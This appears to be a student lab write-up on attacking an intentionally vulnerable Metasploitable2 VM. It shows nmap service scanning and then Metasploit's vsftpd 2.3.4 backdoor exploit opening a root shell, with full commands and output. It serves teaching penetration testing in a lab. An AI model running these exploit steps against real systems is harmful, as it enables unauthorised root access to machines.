

Ex. No. 10	Creating Payload using Metasploit
Date of Exercise	8/11/23

Aim:

The objective of this experiment is to:

Nmap: Discover your network. Nmap ("Network Mapper") is a free and open source utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Using Nmap find the vulnerable ports and then using metasploit framework exploit it and list it.

Lab Environment:

To carry out the Experiment, you need:

- Penetration testing operating system [Kali Linux / parrot]
- Web browser with Internet access
- Administration privileges to run the tools

Description:

The Metasploit Framework is a widely used penetration testing and exploitation tool that includes a variety of tools and utilities for finding, exploiting, and managing security vulnerabilities in computer systems and networks. The Metasploit Framework has a database

component known as the Metasploit database or MSF database. This database is an integral part of the Metasploit Framework.

Implementation:

1. Set Up Metasploitable2 VM and get its IP address.

```
metasploitable [Running] - Oracle VM VirtualBox
No mail.
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:ff:34:39
          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feff:3439/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2 errors:0 dropped:0 overruns:0 frame:0
          TX packets:29 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1188 (1.1 KB)  TX bytes:3638 (3.5 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

2. Open kali terminal and run nmap to find vulnerabilities in metasploitable vm

```
└─$ sudo nmap 192.168.56.101 -sV
[sudo] password for prem:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 20:39 IST
Nmap scan report for 192.168.56.101
Host is up (0.0063s latency).
Not shown: 977 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
```

3. Fire up Metasploit using msfconsole

```
└─$ msfconsole
# cowsay++
< metasploit >
      \  (oo)____
        (__)____) \
          ||--|| *

=[ metasploit v6.3.27-dev ]
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: You can use help to view all
available commands
Metasploit Documentation: https://docs.metasploit.com/
```

4. Use vsftpd exploit to gain access to the victims file system.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
```

5. Set RHOST

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
```

6. Start the exploit to open the command shell.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.0.2.15:39107 -> 192.168.56.101:6200) at 2023-10-25 20:42:14 +0530
```

7. List the files present in the root directory.

```
pwd
/
ls -l
total 81
drwxr-xr-x  2 root root  4096 May 13  2012 bin
drwxr-xr-x  4 root root 10240 May 13  2012 boot
lrwxrwxrwx  1 root root   11 Apr 28  2010 cdrom -> media/cdrom
drwxr-xr-x 14 root root 13540 Oct 25 10:56 dev
drwxr-xr-x 94 root root  4096 Oct 25 10:56 etc
drwxr-xr-x  6 root root  4096 Apr 16  2010 home
drwxr-xr-x  2 root root  4096 Mar 16  2010 initrd
lrwxrwxrwx  1 root root   32 Apr 28  2010 initrd.img -> boot/initrd.img-2.6.24
-rw-r--r--  1 root root    16 May 13  2012 initrd.img-2.6.24
drwxr-xr-x 13 root root  4096 May 13  2012 lib
drwx----- 2 root root 16384 Mar 16  2010 lost+found
drwxr-xr-x  4 root root  4096 Mar 16  2010 media
drwxr-xr-x  3 root root  4096 Apr 28  2010 mnt
-rw-r--r--  1 root root  7263 Oct 25 10:56 nohup.out
drwxr-xr-x  2 root root  4096 Mar 16  2010 opt
dr-xr-xr-x 113 root root    0 Oct 25 10:56 proc
drwxr-xr-x 13 root root  4096 Oct 25 10:56 root
drwxr-xr-x  2 root root  4096 May 13  2012 sbin
```

Result:

The objective of creating payload using Metasploit was done successfully.